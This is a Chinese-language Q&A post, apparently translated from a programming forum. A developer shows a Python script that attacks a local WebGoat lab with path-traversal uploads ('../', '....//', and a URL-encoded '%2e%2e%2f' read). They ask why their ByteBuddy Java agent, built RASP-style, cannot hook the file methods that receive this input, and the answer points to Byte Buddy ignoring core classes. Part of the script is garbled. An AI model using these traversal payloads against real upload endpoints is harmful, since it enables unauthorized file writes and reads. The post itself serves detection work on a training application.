Java中的bytebuddy钩子上传文件攻击

问题描述

攻击脚本:

import requests
import json
import sys
import urllib
import urllib.request

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/84.0.4147.125 Safari/537.36','Cookie':'JSESSIONID=0V6z1FZvktzdwlqFbwGJ6MMhtuIK09MbrLzO6eZR;'
}

# 请求url
url_list = [
    'http://127.0.0.1:8080/WebGoat/PathTraversal/profile-upload','http://127.0.0.1:8080/WebGoat/PathTraversal/profile-upload-fix',# 'http://127.0.0.1:8080/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2fpath-traversal-secret'
    'http://127.0.0.1:8080/WebGoat/PathTraversal/random-picture?id=%2e%2e%2ftest_upload_2'
]

# 待上传文件,可以为任意类型
upload_file = '/home/amos/amos/test/PHPto/PHP/1.jpg'

# 路径穿越
def post_file():
    url = url_list[0]
    # windows
    # file_name : 可以为本地任意类型文件(相应的更改 data 中 fullName 字段的文件后缀)
    file_name = upload_file
    # file_name = 'C:\\Users\\mi\\Desktop\\test_upload.txt'
    files = {'uploadedFile': open(file_name,'rb')}
    data = {
        'fullName':'../test_uploadamos_1.jpg','email':'[email protected]','password':'test'
    }
    try:
        r = requests.post(url,headers=headers,files=files,data = data)
        ret_data = json.loads(r.text)
        if ret_data['lessonCompleted'] == True:
            print('[*] file uploaded,check dirctory: .webgoat-8.1.0\PathTraversal')
        else:
            print('[*] file upload Failed')
    except:
        print('[*] connect error')

# 双重编码
def post_file_2():
    url = url_list[1]
    file_name = upload_file
    files = {'uploadedFileFix': open(file_name,'rb')}
    data = {
        'fullNameFix':'....//test_upload_2.jpg','emailFix':'[email protected]','passwordFix':'test'
    }
    try:
        r = requests.post(url,check dirctory: .webgoat-8.1.0\PathTraversal')
        else:
            print('[*] file upload Failed')
    except:
        print('[*] connect error')

# url编码
def read_jpg():
    url = url_list[2]
    # url = 'http://127.0.0.1:8080/WebGoat/PathTraversal/random-picture?id=%2e%2e%2ftest_upload_2'
    try:
        request =urllib.request.Request(url,headers = headers,method="GET")
        response = urllib.request.urlopen(request)
        print(response.read())
        print('[*] Read the target jpg successfully')
    except:
        print('[*] connect error')

def main():
    if len(sys.argv) < 2:
        print('[*] input case')
        sys.exit()
    
    case = sys.argv[1]

    if case == '1':
        post_file()
    elif case == '2':
        post_file_2()
    elif case == '3':
        read_jpg()
    else:
        print('[*] case error')
        sys.exit()

if __name__ == '__main__':
    main()
amos@amosPC

现在我使用bytebuddy尝试钩住底部方法,并获得攻击提示输入“ ../test_uploadamos_1.jpg”。但它不起作用。这样的Java代码

@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,TypeDescription typeDescription,ClassLoader classLoader,JavaModule javaModule) {
      return builder
           .method(ElementMatchers.<MethodDescription>any())
           .intercept(MethodDelegation.to(Interceptor.class));
}

*********

 new AgentBuilder
       .Default()
       .type(ElementMatchers.<TypeDescription>nameStartsWith(TargetPackage.sql_INJECTION_PACKAGE)
              .or(ElementMatchers.nameStartsWith(TargetPackage.FILE_OPERATE_PACKAGE)))
       .transform(transformer)
       .with(listener)
       .installOn(inst);

*************

private static List<String> getStrArgs(@Origin Method method,@AllArguments Object[] args){
     int argsNum = method.getParameterCount();
     List<String> strArgs = new ArrayList<>();
     logger.error("amos-file::::::::::::>>>>>>>>>>>>>>>>>>>>>>>>>>>"+method.toString());

     for (int i = 0; i < argsNum; i++){
         logger.error("amos-file-arg::::::::::::>>>>>>>>>>>>>>>>>>>>>>>>>>>"+args[i]);
         if(method.getParameterTypes()[i].toString().equals("class java.io.File")){
             strArgs.add(args[i].toString());
         }
     }
     return strArgs;
}

我想获取接收“ ../test_uploadamos_1.jpg”参数的方法,但从未成功。 我将TargetPackage.FILE_OPERATE_PACKAGE的值更改为java.io.Filejavaorg.appache等,但未使用。 我尝试从baidu / openrasp得到一些有关钩点的消息,但也没有用。

对于sqlInjection,我将TargetPackage.sql_INJECTION_PACKAGE的值设置为org.hsqldb.jdbc.JDBCStatement,就可以了。我可以获取用户输入参数。

如果有人能帮助我,我深感感谢。

ps:该应用程序是webgoat。

解决方法

您可能需要更改.ignore(...)参数。默认情况下,Byte Buddy不检测Java核心类。方法委派也不太可能对它们起作用,因为您的代理已加载到无法从系统类加载器读取的引导加载器中。

如果要在引导加载程序中对类进行检测,则可能需要使用Advice进行检测。